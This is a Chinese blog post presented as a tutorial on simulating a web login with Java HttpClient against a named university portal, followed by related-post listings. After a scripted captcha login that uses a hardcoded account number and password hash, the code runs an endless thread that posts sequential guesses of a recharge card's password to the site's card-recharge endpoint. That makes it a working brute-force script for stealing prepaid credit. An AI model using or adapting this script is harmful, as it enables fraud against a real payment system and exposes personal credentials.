Java采用HttpClient对于Web登录
http://e.neusoft.edu.cn/nav_login
模拟浏览器登录该网站上方。登录server基于验证码、refer和cookie保护,此代码html档。
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner; import org.apache.http.Header;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.protocol.HTTP;
import org.apache.http.util.EntityUtils;
public class HttpRequst {
public static void main(String strings[])
{
HttpClient httpclient = new DefaultHttpClient();
try
{
HttpGet getMethod=new HttpGet("http://e.neusoft.edu.cn/nav_login");
getMethod.setHeader("User-Agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)");
HttpResponse response=httpclient.execute(getMethod);
Header arrHeaders[]=response.getAllHeaders();
EntityUtils.consume(response.getEntity()); getMethod=new HttpGet("http://e.neusoft.edu.cn/RandomCodeAction.action? randomNum=0.9179729035059037");
getMethod.setHeader("User-Agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)");
response=httpclient.execute(getMethod);
EntityUtils.consume(response.getEntity()); String checkcode="";
Scanner scan=new Scanner(System.in);
checkcode=scan.next(); HttpPost postMethod=new HttpPost("http://e.neusoft.edu.cn/LoginAction.action");
postMethod.setHeader("User-Agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)");
postMethod.setHeader("Referer", "http://e.neusoft.edu.cn/nav_login");
List<NameValuePair> params=new ArrayList<NameValuePair>();
params.add(new BasicNameValuePair("account","13354284438"));
params.add(new BasicNameValuePair("password","c11d5abf846db275243d94b8472706d4"));
params.add(new BasicNameValuePair("code",""));
params.add(new BasicNameValuePair("checkcode",checkcode));
params.add(new BasicNameValuePair("Submit","Login"));
//加入參数
postMethod.setEntity(new UrlEncodedFormEntity(params,HTTP.UTF_8));
//postMethod.setHeaders(arrHeaders);
response=httpclient.execute(postMethod);
EntityUtils.consume(response.getEntity()); class PostThread implements Runnable
{
private HttpClient myclient=null;
private int num=23453234;
public PostThread(HttpClient client)
{
myclient=client;
}
@Override
public void run() {
// TODO Auto-generated method stub
while(true)
{
HttpPost postMethod=new HttpPost("http://e.neusoft.edu.cn/rechargecard.action");
postMethod.setHeader("User-Agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)");
postMethod.setHeader("Referer", "http://e.neusoft.edu.cn/nav_Rcard");
List<NameValuePair> params=new ArrayList<NameValuePair>();
params.add(new BasicNameValuePair("cardName","046uijalz101480"));
params.add(new BasicNameValuePair("cardPsw",""+num++));
params.add(new BasicNameValuePair("Submit","提 交"));
HttpResponse response;
try {
postMethod.setEntity(new UrlEncodedFormEntity(params,HTTP.UTF_8));
response = myclient.execute(postMethod);
EntityUtils.consume(response.getEntity());
} catch (ClientProtocolException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
} } }; PostThread mPostThread=new PostThread(httpclient);
mPostThread.run(); }
catch (IOException e)
{ }
finally
{ }
} }
版权声明:本文博主原创文章。博客,未经同意不得转载。
Java采用HttpClient对于Web登录的更多相关文章
- C# httpclient获取cookies实现模拟web登录
目前在公司做一款平台化的产品,我主要负责PC端上的开发,在产品推荐过程中为了节省开发时间很多功能模块没来得及做原生,用CEF嵌入了很多带功能web页面,与客户端进行交互从而实现功能. 在二期开发中,产 ...
- Java通过httpclient获取cookie模拟登录
package Step1; import org.apache.commons.httpclient.Cookie; import org.apache.commons.httpclient.Htt ...
- java web登录界面 源代码
大概流程: 在java web项目中 导入sqljdbc4的包 在java Resources中完成java代码 在webContent 下建立一个存放自己写jsp的文件夹 将sqljdbc4和jst ...
- 【转】 我的java web登录RSA加密
[转] 我的java web登录RSA加密 之前一直没关注过web应用登录密码加密的问题,这两天用appscan扫描应用,最严重的问题就是这个了,提示我明文发送密码.这个的确很不安全,以前也大概想过, ...
- java实现简单的单点登录
java实现简单的单点登录 摘要:单点登录(SSO)的技术被越来越广泛地运用到各个领域的软件系统当中.本文从业务的角度分析了单点登录的需求和应用领域:从技术本身的角度分析了单点登录技术的内部机制和实现 ...
- Android 采用HttpClient提交数据到服务器
在前几篇文章中<Android 采用get方式提交数据到服务器><Android 采用post方式提交数据到服务器>介绍了android的两种提交数据到服务器的方法 本文继续介 ...
- Web登录其实没那么简单
1. 一个简单的HTML例子看看用户信息安全 标准的HTML语法中,支持在form表单中使用<input></input>标签来创建一个HTTP提交的属性,现代的WEB登录中, ...
- [转]Web登录中的信心安全问题
1. 一个简单的HTML例子看看用户信息安全 标准的HTML语法中,支持在form表单中使用<input></input>标签来创建一个HTTP提交的属性,现代的WEB登录中, ...
- springboot 采用HttpClient获取天气预报 异常及原因
采用httpClient调用天气预报地址获取出现异常 2018-10-04 15:18:25.815 ERROR 10868 --- [nio-8080-exec-5] o.a.c.c.C.[.[.[ ...
随机推荐
- csdn肿么了,这两天写的博文都是待审核
昨天早上8点写了一篇博文,然后点击发表,结果系统显示"待审核".于是仅仅好qq联系csdn的客服,等到9点时候,csdn的客服上线了,然后回复说是链接达到5个以上须要审核,于是回到 ...
- android关于实现滑动界面
首先要说的是,滑动界面,我们需要一个以上的view切换,实际上可以使用ArrayList<View> pageViews要保存view信息,然后切换 LayoutInflater infl ...
- Xenu-web开发死链接检測工具应用
Xenu 是一款深受业界好评,并被广泛使用的死链接检測工具. 时常检測站点并排除死链接,对站点的SEO 很重要,由于大量死链接存在会减少用户和搜索引擎对站点的信任,web程序开发者还可通过其找到死链接 ...
- HDU 4790 Just Random 数学
链接:pid=4790">http://acm.hdu.edu.cn/showproblem.php?pid=4790 意:从[a.b]中随机找出一个数字x,从[c.d]中随机找出一个 ...
- PHP实现快速排序算法
快速排序(Quick Sort)是对冒泡排序的一种改进,属不稳定排序算法,由东尼·霍尔在1962年提出.快速排序基本步骤:从数列中挑出一个元素(一般称为称为“基准”),通过一趟排序将要排序的数据分割成 ...
- 2012Android开发热门资料(110个)
下载中心完整附件下载地址:http://down.51cto.com/data/412494 附件内容部分预览: 专题推荐: Android控:平板电脑HD精品游戏软件合集(共32个) http:// ...
- (转载)浅析error LNK2001: unresolved external symbol "public: __thisc...
学习VC++时经常会遇到链接错误LNK2001,该错误非常讨厌,因为对于 编程者来说,最好改的错误莫过于编译错误,而一般说来发生连接错误时, 编译都已通过.产生连接错误的原因非常多 ...
- java-IO操作性能对照
在软件系统中.IO速度比内存速度慢,IO读写在非常多情况下会是系统的瓶颈. 在java标准IO操作中,InputStream和OutputStream提供基于流的IO操作.以字节为处理单位:Reade ...
- Ubuntu 14.4 使用中遇到的问题汇总
1.java程序字体问题. 基本的原因是openjdk的缘故 下载最新的jdk安装,地址:http://www.oracle.com/technetwork/java/javase/downloads ...
- jQuery获取url参数值
$.extend({ getUrlVars: function () { var vars = [], hash; var hashes = window.location.href.slice(wi ...